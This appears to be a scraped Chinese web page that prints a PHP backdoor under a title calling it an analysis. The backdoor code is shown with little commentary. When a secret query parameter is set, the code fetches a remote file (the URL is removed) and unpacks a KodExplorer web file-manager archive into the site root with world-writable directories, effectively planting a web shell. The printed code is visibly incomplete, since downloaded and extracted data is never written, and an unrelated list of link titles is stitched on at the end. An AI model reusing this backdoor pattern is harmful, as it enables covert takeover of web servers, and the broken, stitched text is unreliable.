php 后门代码_分析一段PHP的后门代码,很恶心
[PHP] 纯文本查看 复制代码if($_GET['ac']=="ok"){ echo 'OK';
function downFile($url,$path){
$arr=parse_url($url);
$fileName=basename($arr['path']);
$file=file_get_contents($url);
}
downFile("这里是网络下载地址,防止小人,直接删除这里的连接");
class Unzip{
public function __construct(){
header("content-type:text/html;charset=utf8");
}
public function unzip($src_file, $dest_dir=false, $create_zip_name_dir=true, $overwrite=true){
if ($zip = zip_open($src_file)){
if ($zip){
$splitter = ($create_zip_name_dir === true) ? "." : "/";
if($dest_dir === false){
}
$this->create_dirs($dest_dir);
while ($zip_entry = zip_read($zip)){
$pos_last_slash = strrpos(zip_entry_name($zip_entry), "/");
if ($pos_last_slash !== false){
$this->create_dirs($dest_dir.substr(zip_entry_name($zip_entry), 0, $pos_last_slash+1));
}
if (zip_entry_open($zip,$zip_entry,"r")){
$file_name = $dest_dir.zip_entry_name($zip_entry);
if ($overwrite === true || $overwrite === false && !is_file($file_name)){
$fstream = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
}
zip_entry_close($zip_entry);
}
}
zip_close($zip);
}
}else{
return false;
}
return true;
}
public function create_dirs($path){
if (!is_dir($path)){
$directory_path = "";
$directories = explode("/",$path);
array_pop($directories);
foreach($directories as $directory){
$directory_path .= $directory."/";
if (!is_dir($directory_path)){
mkdir($directory_path);
chmod($directory_path, 0777);
}
}
}
}
}
$z = new Unzip();
$z->unzip("kodexplorer4.39.zip",'./', true, false);
}
php 后门代码_分析一段PHP的后门代码,很恶心相关推荐
- python手机屏幕自动点击代码_鼠标隔段时间自动点击屏幕
知识点:Python库及简单定时器的使用 1. 鼠标自动点击屏幕代码 (1). 首先 pip install pymouse (2). 运行代码出现:ModuleNotFoundError: No ...
- html打印代码_惊呆了,我的 Python 代码里面出现了薛定谔的 Bug
IT服务圈儿 有温度.有态度的IT自媒体平台 本文经公众号:未闻Code(ID:itskingname) 授权转载 作者:kingname GNE: 新闻网页正文通用抽取器[1]更新了0.2.1版本, ...
- swift代码转oc代码_什么是不安全的Swift代码?
swift代码转oc代码 崩溃应用是安全的方法 (Crashing your app is the safe route) 强制展开可选的安全代码! (Force-Unwrapping An Opti ...
- 浪漫的python代码_七夕,最浪漫的Python代码送给陷入爱河的Python男同胞
七夕,最浪漫的Python代码送给陷入爱河的Python男同胞 image.gif 三句话情书,我们听过.如何用python写一段浪漫的代码?可以是简短有韵味的情书式, 也欢迎冗长而效果拔群的万行 ...
- 微信开发者平台如何编写代码_编写超级清晰易读的代码的初级开发者指南
微信开发者平台如何编写代码 Writing code is one thing, but writing clean, readable code is another thing. But what ...
- html中看到php代码_如何在HTML中嵌入PHP代码
如何在HTML中嵌入PHP代码 对于一个有经验的 PHP Web 开发者,在HTML中嵌入PHP代码是一件非常容易的事情.但是对于刚开始接触 PHP 编程语言的新手这就是一个问题.下面是小编为大家带来 ...
- 光流法测试代码_高效的企业测试-工作流和代码质量(4/6)
光流法测试代码 本文的这一部分将讨论在开发过程中拥有有效工作流程的影响,以及适当的测试代码质量如何使我们能够创建可维护的测试,尤其是对于复杂项目. 开发工作流程和管道 编程是一项流程活动,我们开发人员 ...
- java 怎么调用js代码_在Java中直接调用js代码
JDK1.6版添加了新的ScriptEngine类,允许用户直接执行js代码. 在Java中直接调用js代码 不能调用浏览器中定义的js函数,会抛出异常提示ReferenceError: " ...
- python3.4勾股定理代码_用于解答算法题目的Python3代码框架
前言 最近在实习,任务并不是很重,就利用闲暇时间使用Python3在PAT网站上刷题,并致力于使用Python3的特性和函数式编程的理念,其中大部分题目都有着类似的输入输出格式,例如一行读入若干个数字 ...
最新文章
- 换系统后mysql环境不见了_电脑重装系统后如何恢复Mysql数据库
- proto buffer
- 流程图的制作技巧分享,手把手教你如何画流程图?
- 1一10到时的英文单词_10张“牛皮癣”可换1个鸡蛋!徐州一街道全民总动员
- 使用Unified Auditing Policy审计数据泵导出操作
- x86分页机制——《x86汇编语言:从实模式到保护模式》读书笔记42
- AtCoder AGC014E Blue and Red Tree (启发式合并)
- hashmap 复制_复杂链表的复制
- java内存区域_JVM学习之—Java内存区域
- CCNA--增强型内部网关路由选择协议(EIGRP)
- 美女晕倒怎么办?二哈:这不是一滋就醒......
- 前端学习(1058):面向对象介绍
- Java并行计算线程池_干货!线程池+CountDownLatch,实现 多线程并发计算、汇总
- 软件系统分析-分账系统
- 现场抽奖小程序_抽奖小程序助手转盘活动微信抽奖系统
- 东方mmd巨大化_爱丽丝玛格特罗伊德 动漫人物资料
- Sap2000——Edit Point
- Redis遇到过的问题(Could not get a resource from the pool)
- Acwing算法基础课学习笔记
- TopCoder Arena 插件配置(1)Greed 2.0
热门文章
- MATLAB软件禁用利好,Matlab被禁用?一款国产软件站了出来说:我就是中国的Matlab...
- ctf镜子里面的世界_帮大爷干活,他送了我一只鞋子和一手套,又不能穿拿来做什么?哈哈哈|叶子|镜子|虫子|鞋子|棺材...
- 勾股定理的面积证明法,形象又好记!
- 发了篇paper,双非二本的她直博浙大
- 理工男都能有多痴情?
- 程序猿都在关注的6个优质公众号
- 给所有想从事软件研发的年轻工程师的忠告与建议
- java 继承与多态 习题_JAVA基础 第4章继承与多态_练习题_200910
- thymeleaf加载不了js引用_网站首页加载慢解决方案
- python self 值自动改变,在python中对self的理解